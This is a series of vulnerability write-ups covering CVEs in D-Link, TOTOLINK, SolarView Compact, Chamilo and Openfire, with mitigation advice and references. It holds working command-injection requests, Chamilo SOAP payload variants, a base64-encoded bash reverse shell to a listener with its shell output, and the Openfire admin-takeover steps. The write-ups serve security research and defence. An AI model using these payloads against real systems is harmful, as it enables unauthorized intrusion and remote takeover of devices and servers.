(192.168.0.2:41797 -> 192.168.0.1:4444) at 2023-10-16 13:54:53 +0000 Shell Banner: _!_ ----- # uname -a uname -a Linux dlinkrouter 4.1.17+ #28 Sat Oct 31 17:56:39 KST 2020 mips GNU/Linux # hostname hostname dlinkrouter #
You can find the module here in my local repository or as PR 18463 at the Metasploit Github development.
Mitigation
You should update your D-link network devices listed in this article to the latest available firmware.
References
CVE-2023-33625
CVE-2020-15893
CVE-2019–20215
D-Link DIR-859: UnAuthenticated RCE in ssdpcgi HTTP_ST
The Shadow File: DLink DIR-815 UPnP Command Injection
Multiple Vulnerabilities discovered in the D-link Firmware DIR-816L
D-link DIR-600 cmd injection vulnerability
D-Link UPnP Unauthenticated LAN RCE – h00die-gr3y Metasploit local repository
D-Link UPnP Unauthenticated LAN RCE – Metasploit PR 18463
D-Link Firmware Repository
FirmAE
FirmAE: Towards Large-Scale Emulation of IoT Firmware for Dynamic Analysis
Credits
Zach Cutlip
Michael Messner <devnull@s3cur1ty.de>
Miguel Mendez Z. (s1kr10s)
Pablo Pollanco (secenv)
Naihsin https://github.com/naihsin
And to all other good fellows who raised this concern ;–)
Technical Analysis
Zioncom (Hong Kong) Technology Limited is a professional manufacturer for network communication products, including Wireless Router/AP (Indoor & Outdoor) , 4G&5G Router, Wireless Extender, Wireless USB Adapter, Wireless Module, Switch and Wired Router.
They are launching a large portfolio their network products under the brand name TOTOLINK. Despite the fact that they are in the business of developing and designing network products, a lot of their solutions are flawed in terms of security. Dozens of their products and related firmware are subject to buffer overflows and command injections and this CVE is only one of the many out there.
I took this CVE to the focus a bit more on the analysis of firmware and how you test your firmware without having the hardware actually in hand using firmware emulation.
Firmadyne is one of most popular firmware analysis and emulation software and is available in the public domain where you can install it freely on your Linux distribution. Now before you jump in cloning the repository and start the installation, I want to outline two other firmware analysis and emulation tools that probably makes your life a bit easier.
The first one is Firmware Analysis Toolkit (FAT) which is basically a script to automate Firmadyne
. If you do not want to bother with complex installation, you can try AttifyOS which has Firmware Analysis Toolkit and other tools pre-installed and ready to use.
The other tool that you can use is called FirmAE which is a fully-automated framework that performs emulation and vulnerability analysis. FirmAE
significantly increases the emulation success rate (From Firmadyne’s 16.28% to 79.36%) with five arbitration techniques.
In my case, I settled for FirmAE
, because it indeed increases the success rate of firmware emulation considerably. There is a very nice Paper that explains the architecture and techniques used and I would advice you to read this first before jumping into the installation and operation of the tool.
Ok let’s go down to business and do some analysis and emulation with FirmAE
.
I installed FirmAE
on my Kali Linux distribution (2023.4) using the installation instructions provided on the github page. To emulate the specific firmware that comes with the TOTOLINK X5000R, binwalk
need to be able to handle a sasquatch filesystem which requires a bit of additional installation and compilation steps that you can find here. Please do not forget to run this after your FirmAE
installation otherwise you will not be able to extract the firmware.
Ok, when everything is installed, let’s download the vulnerable firmware from TOTOLINK here. We need V9.1.0u.6118_B20201102
and .V9.1.0u.6369_B20230113
UPDATE 14 September 2023
I could not reproduce the exploit with X5000R firmware V9.1.0u.6369_B20230113.rar
, so please use V9.1.0u.6118_B20201102.zip
for your testing.
I have also discovered other TOTOLINK firmware that is vulnerable for the same exploit.
- Wireless Dual Band Gigabit Router model A7000R with firmware
A7000R_V9.1.0u.6115_B20201022.zip
- Wireless Dual Band Gigabit Router model A3700R with firmware
A3700R_V9.1.2u.6134_B20201202.zip
- Wireless N Router model N200RE V5 with firmware
N200RE_V5_V9.3.5u.6095_B20200916.zip
andN200RE_V5_V9.3.5u.6139_B20201216.zip
- Wireless N Router model N350RT with firmware
N350RT_V9.3.5u.6095_B20200916.zip
andN350RT_V9.3.5u.6139_B20201216.zip
- Wireless Extender model EX1200L with firmware
EX1200L_V9.3.5u.6146_B20201023.zip
- And probably more looking at the scale of impacted devices :–(
We are now ready to start the emulation. With FirmAE
, you have different options such as a check option (-c) to see if your firmware can be emulated or a run option (-r) to emulate your firmware. I always use the debug option (-d) because it gives you the ability to access the firmware via a console for debugging and analysis purposes.
First run ./init.sh
to start initialize the Postgress database.
Now run the debug session by running the following command ./run.sh -d TOTOLINK X5000R_V9.1.0u.6118_B20201102.zip
This will take a while, but in the end you should see the following…
TIP: you can speed this up by setting the arbitrary option FIRMAE_ETC
in firmae.config
to false (however, not necessary to make below work).
# ./run.sh -d TOTOLINK /root/FirmAE/firmwares/X5000R_V9.1.0u.6118_B20201102.zip [*] /root/FirmAE/firmwares/X5000R_V9.1.0u.6118_B20201102.zip emulation start!!! [*] extract done!!! [*] get architecture done!!! mke2fs 1.47.0 (5-Feb-2023) mknod: /dev/mem: File exists mknod: /dev/kmem: File exists mknod: /dev/null: File exists mknod: /dev/random: File exists mknod: /dev/urandom: File exists mknod: /dev/console: File exists mknod: /dev/ptmx: File exists mknod: /dev/ttyS0: File exists mknod: /dev/ttyS1: File exists mknod: /dev/ppp: File exists mknod: /dev/mtd0: File exists mknod: /dev/mtd1: File exists mknod: /dev/mtd2: File exists mknod: /dev/mtd3: File exists mknod: /dev/mtd4: File exists mknod: /dev/mtd5: File exists mknod: /dev/mtd6: File exists mknod: /dev/mtdblock0: File exists mknod: /dev/mtdblock1: File exists mknod: /dev/mtdblock2: File exists mknod: /dev/mtdblock3: File exists mknod: /dev/mtdblock4: File exists mknod: /dev/mtdblock5: File exists mknod: /dev/mtdblock6: File exists e2fsck 1.47.0 (5-Feb-2023) [*] infer network start!!! [IID] 1 [MODE] debug [+] Network reachable on 192.168.0.1! [+] Run debug! Creating TAP device tap1_0... Set 'tap1_0' persistent and owned by uid 0 Bringing up TAP device... Starting emulation of firmware... None false false -1 -1 /root/FirmAE/./debug.py:7: DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13 import telnetlib [*] firmware - X5000R_V9.1.0u.6118_B20201102 [*] IP - 192.168.0.1 [*] connecting to netcat (192.168.0.1:31337) [-] failed to connect netcat ------------------------------ | FirmAE Debugger | ------------------------------ 1. connect to socat 2. connect to shell 3. tcpdump 4. run gdbserver 5. file transfer 6. exit
Now there is an issue that we need to fix first because the network connectivity from the host to the emulated firmware, which is basically a virtual machine, is not working. You can see this because netcat
can not connect on 192.168.0.1 and pinging this IP is also not working. In order to fix this, use option 1. connect to socat
to access your running firmware and run below commands to check the network configuration.
>1 / # brctl show brctl show bridge name bridge id STP enabled interfaces br0 8000.525400123458 yes eth2 / # ifconfig -a ifconfig -a br0 Link encap:Ethernet HWaddr 52:54:00:12:34:56 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) eth0 Link encap:Ethernet HWaddr 52:54:00:12:34:56 BROADCAST MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) eth1 Link encap:Ethernet HWaddr 52:54:00:12:34:57 BROADCAST MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) eth2 Link encap:Ethernet HWaddr 52:54:00:12:34:58 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:33 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:0 (0.0 B) TX bytes:1980 (1.9 KiB) eth3 Link encap:Ethernet HWaddr 52:54:00:12:34:59 BROADCAST MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) ip6tnl0 Link encap:UNSPEC HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 NOARP MTU:1452 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 UP LOOPBACK RUNNING MTU:65536 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) sit0 Link encap:IPv6-in-IPv4 NOARP MTU:1480 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) tunl0 Link encap:UNSPEC HWaddr 00-00-00-00-D4-7F-2C-6A-00-00-00-00-00-00-00-00 NOARP MTU:1480 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) / #
In my case, there were two issues, first of all the bridge command showed eth2
instead eth0
and br0
did not have any IP configured.
To fix this, run the following commands below to make the firmware accessible from the host.
/ # brctl addif br0 eth0 brctl addif br0 eth0 / # brctl show brctl show bridge name bridge id STP enabled interfaces br0 8000.525400123456 yes eth2 eth0 / # ifconfig eth0 up ifconfig eth0 up / # ifconfig br0 192.168.0.1 netmask 255.255.255.0 broadcast 192.168.0.255 ifconfig br0 192.168.0.1 netmask 255.255.255.0 broadcast 192.168.0.255 / #
You should now be able to ping
the network address 192.168.0.1 from your host and run a nmap
command to check the services.
# ping 192.168.0.1 PING 192.168.0.1 (192.168.0.1) 56(84) bytes of data. 64 bytes from 192.168.0.1: icmp_seq=1 ttl=64 time=8.92 ms 64 bytes from 192.168.0.1: icmp_seq=2 ttl=64 time=2.38 ms ^C --- 192.168.0.1 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1001ms rtt min/avg/max/mdev = 2.384/5.650/8.916/3.266 ms # nmap 192.168.0.1 Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-12 17:44 UTC Nmap scan report for 192.168.0.1 Host is up (0.011s latency). Not shown: 997 closed tcp ports (reset) PORT STATE SERVICE 23/tcp filtered telnet 80/tcp filtered http 8080/tcp filtered http-proxy MAC Address: 52:54:00:12:34:56 (QEMU virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 1.78 seconds
nmap
shows that the web service is up and running on port 80 so it is time to dig into the vulnerability.
Reading the CVE, it talks about command insertion vulnerability in setting/setTracerouteCfg using the command
parameter.
Most of the functionality sits in the /cgi-bin/cstecgi.cgi
file that you can find in the www
directory at the emulated firmware.
/www/cgi-bin # ls -l ls -l -rwxrwxr-x 1 root root 455 Nov 2 2020 ExportSettings.sh -rwxrwxr-x 1 root root 251300 Nov 2 2020 cstecgi.cgi lrwxrwxrwx 1 root root 15 Nov 2 2020 custom.cgi -> /tmp/custom.cgi /www/cgi-bin #
To analyze, you can load this IDA
or Ghidra
to perform some reverse engineering.
I will not dwell on this topic for now, but the vulnerable code resides in the decompiled function below shown in Ghidra
where the parameter command
is not properly escaped when it is executed using the doSystem
command which is basically an OS command call to the underlying Linux OS.
undefined4 FUN_0041f6a0(undefined4 param_1) { undefined2 *param3; undefined2 *__nptr; int param2; char acStack_90 [128]; memset(acStack_90,0,0x80); param3 = websGetVar(param_1,"command",(undefined2 *)"www.baidu.com"); __nptr = websGetVar(param_1,"num",(undefined2 *)0x437f70); param2 = atoi((char *)__nptr); sprintf(acStack_90,"traceroute -m %d %s&>/var/log/traceRouteLog",param2,(char *)param3); doSystem(acStack_90); setResponse(&DAT_00436104,"reserv",param2,param3); return 1; }
Besides reverse engineering using Ghidra
or IDA
, you can use the firmware analysis functionality provided by FirmAE
. This is dynamic analysis using fuzzing and actually exploits from tools like Routersploit
to find vulnerable code.
Let’s quickly validate if our vulnerable emulated router is vulnerable by sending a malicious POST
request with a manipulated command
parameter using burpsuite
.
POST /cgi-bin/cstecgi.cgi HTTP/1.1 Host: 192.168.0.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/111.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 77 Origin: http://192.168.0.1 Connection: close {"command":"127.0.0.1; echo cuckoo >/tmp/cuckoo.txt;","num":"200","topicurl":"setTracerouteCfg"}
Below is a valid response.
HTTP/1.1 200 OK Connection: close Date: Sun, 13 Sep 2015 16:37:50 GMT Server: lighttpd/1.4.20 Content-Length: 234 traceroute to 127.0.0.1 (127.0.0.1), 200 hops max, 38 byte packets 1 localhost.localdomain (127.0.0.1) 4.842 ms 0.195 ms 0.192 ms { "success": true, "error": null, "lan_ip": "192.168.0.1", "wtime": "0", "reserv": "reserv" }
However, it is a blind command injection because nothing is returned in the response with regards to a successful command execution.
We have to check this directly on the emulated firmware and as you can see is the file /tmp/cuckoo.txt
successfully created.
/tmp # ls -l *.txt ls -l *.txt -rw-rw-rw- 1 root root 7 Sep 13 16:37 cuckoo.txt /tmp # cat cuckoo.txt cat cuckoo.txt cuckoo /tmp #
A Metasploit module for this exploit is in development.
You can find the module here in my local repository or as PR 18365 at the Metasploit Github development.
Mitigation
You should update your TOTOLINK X5000R
router and other vulnerable TOTOLINK network devices listed in this article to the latest available firmware.
References
FirmAE
FirmAE: Towards Large-Scale Emulation of IoT Firmware for Dynamic Analysis
Firmware Analysis Toolkit (FAT)
Firmadyne
CVE-2023-30013
TOTOLINK Unauthenticated RCE – h00die-gr3y Metasploit local repository
Metasploit PR 18365
TOTOLINK X5000R Firmware
Credits
Kazamayc
And to all other good fellows who raised this concern ;–)
Technical Analysis
With the heat records breaking almost every day around the globe, Solar Energy solutions are becoming rapidly main stream in households around the world. If you look in the street where you live, you will probably find a few neighbors with solar panels installed on their roof and nice little apps that can track you solar energy capacity.
Cool stuff, but as always, when connected to the Internet, you can introduce an entry point for a attacker to hack into your solar energy devices / inverters. Cyble
security analysts recently published a nice report that explains the Security Gaps in Green Energy Sector: Unveiling the Hidden Dangers of Public-Facing PV Measuring and Diagnostics Solutions.
One of these energy solution providers is a Japanese company called Contec
, that provides Solar Energy solutions to the market. One of their solutions, SolarView Compact has a vulnerability that allows remote code execution on a vulnerable SolarView Compact
device by bypassing internal restrictions through the vulnerable endpoint downloader.php
using the file
parameter. Firmware versions up to v6.33
are vulnerable.
Again a very basic case of using direct system calls in your application code without sanitizing the input parameters properly.
If you analyze downloader.php
, you easily can identify the vulnerable code that triggers the remote code execution with a malicious request.
You can retrieve this information by downloading the SolarView Compact firmware v600. You need to register yourself before you can download the firmware svcUpdateV600.fpk
.
Run the following commands to access the firmware and extract downloader.php
.
# mv svcUpdateV600.fpk svcUpdateV600.gz # tar -ztvf./svcUpdateV600.gz html/downloader.php -rwxr--r-- 0 nobody nogroup 1986 Dec 7 2018 html/downloader.php # tar -zxvf./svcUpdateV600.gz html/downloader.php x html/downloader.php
// downloader.php <? if( isset($_REQUEST['file']) ){ $file = $_REQUEST['file']; } // function get_extend( $filename ){ $pos = strrpos( $filename, "." ); return substr( $filename, $pos ); } // // $ext = get_extend( $file ); // switch( $ext ){ case ".csv": break; case ".jpg": case ".jpeg": case ".JPG": case ".JPEG": case ".Jpeg": case ".Jpg": case ".gif": case ".GIF": case ".Gif": $path = "/home/www/html/images/"; break; case ".zip": // $file is not proper sanitized !!!! $ARCH_FILE = sprintf("/home/contec/data/%s", $file); if( file_exists($ARCH_FILE) ){ unlink($ARCH_FILE); } $cmd = sprintf("/usr/local/bin/data_zip.sh %s > /dev/null", basename($ARCH_FILE)); // Using a direct system call can trigger the RCE !!!! system($cmd); $file = $ARCH_FILE; break; } ....
A short demonstration below shows how easy it is to trigger the RCE.
Malicious burp request using curl http://TARGET-IP/downloader.php?file=%3Bid%3B.zip
GET /downloader.php?file=%3Bid%3B.zip HTTP/1.1 Host: <TARGET-IP> User-Agent: curl/7.88.1 Accept: */* Connection: close
Burp response
HTTP/1.1 200 OK X-Powered-By: PHP/5.2.17 Content-type: text/html Connection: close Date: Wed, 23 Aug 2023 08:09:07 GMT Server: lighttpd/1.4.28 Content-Length: 1072 5000 rows exported. -> /tmp/history.csv zip warning: name not matched: images/slide_monthly_guide.png zip warning: name not matched: images/slide_daily_guide.png zip I/O error: Not a directory zip error: Could not create output file (/home/contec/data/.zip) uid=1001(contec) gid=0(root) <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <HTML> <HEAD> <META HTTP-EQUIV="Content-Type" CONTENT="text/css; charset=Shift_JIS"> <LINK HREF="/css/style1.css" REL="stylesheet" TYPE="text/css"> <LINK REL="SHORTCUT ICON" HREF="/favicon.ico"> <TITLE>Error 404</TITLE> </HEAD> <BODY> ....
I will leave it to the readers imagination what else you can run then a simple id
command, but the underlying Linux armle
operating system has a nice rich command set such as nc
, wget
, bash
, python
, openssl
and base64
that can be leveraged for your RCE.
And as you can see, we already get a little bonus because default the security context of the user contec
, which is running the service, is part of the root
group that gives us elevated privileges.
A Metasploit module is in development.
You can find the module here in my local repository or as PR 18313 at the Metasploit Github development.
Mitigation
Please update your SolarView Compact
application to the latest available firmware which is v8.00
or higher.
References
SolarView Compact
Security Gaps in Green Energy Sector
CVE-2023-23333
SolarView Unauthenticated RCE – h00die-gr3y Metasploit local repository
Metasploit PR 18313
Credits
To all good fellows who raised this concern ;–)
Technical Analysis
Chamilo
is a free software (under GNU/GPL licensing) e-learning and content management system, aimed at improving access to education and knowledge globally. It has been used by more than 30M people worldwide since its inception in 2010.
The following Shodan
dork: http.component:"Chamilo"
will give you the list of Chamilo
installations running in the wild.
Chamilo
versions 1.11.18
and below suffers from an unauthenticated remote command execution vulnerability. Due to a functionality called Chamilo Rapid
to easily convert PowerPoint slides to courses on Chamilo
, it is possible for an unauthenticated remote attacker to execute arbitrary commands at OS level using a malicious SOAP request at the vulnerable endpoint /main/webservices/additional_webservices.php
.
It is a classical example of OS command injection (also known as shell injection) that allows an attacker to execute an arbitrary operating system (OS) commands on the server that is running an application, and typically fully compromise the application and all its data.
In the vulnerable file /main/webservices/additional_webservices.php
the function wsConvertPpt
that can be used to convert a PowerPoint file to courses on Chamilo
using a shell command . To use this feature, a SOAP request needs to be performed containing an URL pointing to the PowerPoint file.
In code excerpt below, you can easily identify the command line where the filename
is not properly filtered by the function, hence making it vulnerable to command injection when it is called by the exec()
function.
function wsConvertPpt($pptData) { global $_configuration; $ip = trim($_SERVER['REMOTE_ADDR']); // If an IP filter array is defined in configuration.php, // check if this IP is allowed if (!empty($_configuration['ppt2lp_ip_filter'])) { if (!in_array($ip, $_configuration['ppt2lp_ip_filter'])) { return false; } } $fileData = $pptData['file_data']; $dataInfo = pathinfo($pptData['file_name']); $fileName = basename($pptData['file_name'], '.'.$dataInfo['extension']); $fullFileName = $pptData['file_name']; $size = $pptData['service_ppt2lp_size']; $w = '800'; $h = '600'; if (!empty($size)) { list($w, $h) = explode('x', $size); } $tempArchivePath = api_get_path(SYS_ARCHIVE_PATH); $tempPath = $tempArchivePath.'wsConvert/'.$fileName.'/'; $tempPathNewFiles = $tempArchivePath.'wsConvert/'.$fileName.'-n/'; $oldumask = umask(0); //$perms = api_get_permissions_for_new_directories(); // Set permissions the most permissively possible: these files will // be deleted below and we need a parallel process to be able to write them $perms = api_get_permissions_for_new_directories(); pptConverterDirectoriesCreate($tempPath, $tempPathNewFiles, $fileName, $perms); $file = base64_decode($fileData); file_put_contents($tempPath.$fullFileName, $file); $cmd = pptConverterGetCommandBaseParams(); /* VULNERABLE CODE */ $cmd .= ' -w '.$w.' -h '.$h.' -d oogie "'.$tempPath.$fullFileName.'" "'.$tempPathNewFiles.$fileName.'.html"'; //$perms = api_get_permissions_for_new_files(); chmod($tempPathNewFiles.$fileName, $perms); $files = []; $return = 0; /* EXEC FUNCTION */ $shell = exec($cmd, $files, $return); umask($oldumask);
By using the SOAP request below, you can trigger the command injection replacing YOUR COMMAND
with any Unix OS command.
<?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://localhost:80/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns2="http://xml.apache.org/xml-soap" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <ns1:wsConvertPpt> <param0 xsi:type="ns2:Map"> <item> <key xsi:type="xsd:string">file_data</key> <value xsi:type="xsd:string"></value> </item> <item> <key xsi:type="xsd:string">file_name</key> <value xsi:type="xsd:string">`YOUR COMMAND`.pptx</value> </item> <item> <key xsi:type="xsd:string">service_ppt2lp_size</key> <value xsi:type="xsd:string">720x540</value> </item> </param0> </ns1:wsConvertPpt> </SOAP-ENV:Body> </SOAP-ENV:Envelope>
I did several tests on a Ubuntu 22.04 server with Chamilo 1.11.18
installed to see which command injections do work and I found three variants so far. Two blind command injections and one command injection that is not blind.
Blind variants:
<value xsi:type="xsd:string">`command`.pptx</value>
<value xsi:type="xsd:string">|" |command||a #`.pptx'</value>
Non blind variant:
<value xsi:type="xsd:string">`{{}}`.pptx'|" |command||a #</value>
Let’s quick demonstrate the non-blind command injection variant with burpsuite
on a vulnerable Chamilo
installation.
Burp request
POST /chamilo/main/webservices/additional_webservices.php HTTP/1.1 Host: 192.168.201.47 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Content-Type: text/xml; charset=utf-8 Content-Length: 1031 Connection: close <?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="/chamilo" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns2="http://xml.apache.org/xml-soap" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <ns1:wsConvertPpt> <param0 xsi:type="ns2:Map"> <item> <key xsi:type="xsd:string">file_data</key> <value xsi:type="xsd:string"></value> </item> <item> <key xsi:type="xsd:string">file_name</key> <value xsi:type="xsd:string">`{{}}`.pptx'|" |echo cuckoo||a #</value> </item> <item> <key xsi:type="xsd:string">service_ppt2lp_size</key> <value xsi:type="xsd:string">1310x643</value> </item> </param0> </ns1:wsConvertPpt> </SOAP-ENV:Body> </SOAP-ENV:Envelope>
Burp Response
HTTP/1.1 200 OK Date: Fri, 28 Jul 2023 10:33:56 GMT Server: Apache/2.4.52 (Ubuntu) Set-Cookie: ch_sid=0doq0i6i2va7rf61bfq9ksg79u; path=/; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 620 Vary: Accept-Encoding Connection: close Content-Type: text/xml; charset=utf-8 <?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://192.168.201.47/chamilo/main/webservices/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <ns1:wsConvertPptResponse> <return xsi:type="xsd:string"> a:2:{s:5:"files";a:1:{i:0;s:6:"cuckoo";}s:6:"images";a:1:{s:0:"";s:0:"";}} </return> </ns1:wsConvertPptResponse> </SOAP-ENV:Body> </SOAP-ENV:Envelope>
Now let’s do a proper command injection and spawn a remote shell.
Let’s take a bash reverse shell: bash -i >& /dev/tcp/192.168.201.10/4444 0>&1
To avoid any issues with bad characters, we will encode the payload with base64
and decode it again during execution.
# echo -n "bash -i >& /dev/tcp/192.168.201.10/4444 0>&1"|base64 YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMS4xMC80NDQ0IDA+JjE= # nc -lnvp 4444 listening on [any] 4444 ...
bash reverse shell burp request
POST /chamilo/main/webservices/additional_webservices.php HTTP/1.1 Host: 192.168.201.47 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Content-Type: text/xml; charset=utf-8 Content-Length: 1084 Connection: close <?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns2="http://xml.apache.org/xml-soap" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <ns1:wsConvertPpt> <param0 xsi:type="ns2:Map"> <item> <key xsi:type="xsd:string">file_data</key> <value xsi:type="xsd:string"></value> </item> <item> <key xsi:type="xsd:string">file_name</key> <value xsi:type="xsd:string">`{{}}`.pptx'|" |echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMS4xMC80NDQ0IDA+JjE=|base64 -d|bash||a #</value> </item> <item> <key xsi:type="xsd:string">service_ppt2lp_size</key> <value xsi:type="xsd:string">1108x524</value> </item> </param0> </ns1:wsConvertPpt> </SOAP-ENV:Body> </SOAP-ENV:Envelope>
bash reverse shell
# nc -lnvp 4444 listening on [any] 4444 ... connect to [192.168.201.10] from (UNKNOWN) [192.168.201.47] 49682 bash: cannot set terminal process group (35632): Inappropriate ioctl for device bash: no job control in this shell www-data@cuckoo:/var/www/html/chamilo/main/inc/lib/ppt2png$ uname -a uname -a Linux cuckoo 5.15.0-76-generic #83-Ubuntu SMP Thu Jun 15 19:16:32 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux www-data@cuckoo:/var/www/html/chamilo/main/inc/lib/ppt2png$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@cuckoo:/var/www/html/chamilo/main/inc/lib/ppt2png$
For now, the OS command injection only works on linux/unix
based operating systems due to the use of the backtic ` operator.
Still playing around to find a Windows variant.
And as usual, there is a nice Metasploit module that does it all for you.
You can find the module here in my local repository or as PR 18233 at the Metasploit Github development.
This module has been tested on:
- Ubuntu Linux 22.04
- Chamilo 1.11.18
- PHP 7.4
Instructions for a vulnerable Chamilo installation on Ubuntu 22.04:
- Follow these instructions to download and install Ubuntu 22.04 server on VirtualBox.
- Follow these instructions to download and install LAMP on Ubuntu 22.04 server.
- Download Chamilo
1.11.18
release from here.
- Follow these instructions to install Chamilo.
Mitigation
Please update your Chamilo
application to version 1.11.20
or higher.
References
Randorisec advisory
CVE-2023-34960
Chamilo Unauthenticated RCE – h00die-gr3y Metasploit local repository
Metasploit PR 18233
Chamilo release downloads
Chamilo installation instructions
Credits
Technical Analysis
Openfire
(previously known as Wildfire, and Jive Messenger) is an instant messaging (IM) and groupchat server for the Extensible Messaging and Presence Protocol (XMPP). It is written in Java and licensed under the Apache License 2.0.
On May 26, 2023, Openfire's
administrative console, a web-based application, was found to be vulnerable to a path traversal attack via the setup environment using the path http://localhost:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/
. Endpoints such as log.jsp
, user-groups.jsp
and user-create.jsp
can be used to gain unauthorized admin access.
It allows an unauthenticated user to use the unauthenticated Openfire
Setup Environment in an already configured Openfire
environment to access restricted pages in the Openfire Admin Console
reserved for administrative users.
The vulnerability affects all versions of Openfire
that have been released since April 2015, starting with version 3.10.0
and is patched in Openfire
release 4.7.5
, 4.6.8
and 4.8.0
and later.
Reading the security advisory, it reminded me of a previous Openfire
vulnerability CVE-2008-6508 discovered in 2008 that faced a similar issue. There is even an existing Metasploit module available a.k.a. exploit\multi\http\openfire_auth_bypass
that exploits this vulnerability (see Metasploit PR 522).
With that in mind, it should be not too difficult to build a new variant that exploits the latest vulnerability CVE-2023-32315.
The attack sequence is quite simple:
- Grab the cookies using the path traversal vulnerability via
http://<IP>:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/user-groups.jsp
- Use the cookies to add an admin user using the path traversal vulnerability via
http://<IP>:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp
- Upload an Openfire plugin weaponized with a java payload triggering an RCE via endpoint
http://<IP>:9090/plugin-admin.jsp
. For step 3, you need understand how to create an customizedOpenfire
plugin which is described in more detail here.
And as usual, I took the liberty to code a nice Metasploit module that does it all for you.
You can find the module here in my local repository or as PR 18173 at the Metasploit Github development.
This module has been tested on:
Ubuntu Linux 22.04
- Openfire 3.10.1, 4.0.4, 4.1.0, 4.2.0, 4.3.0, 4.4.0, 4.5.0, 4.6.0. 4.7.0, 4.7.1, 4.7.3
- Java 7, 8, 17
Windows Server 2019 Datacenter
- Openfire 4.7.3
- Java 20
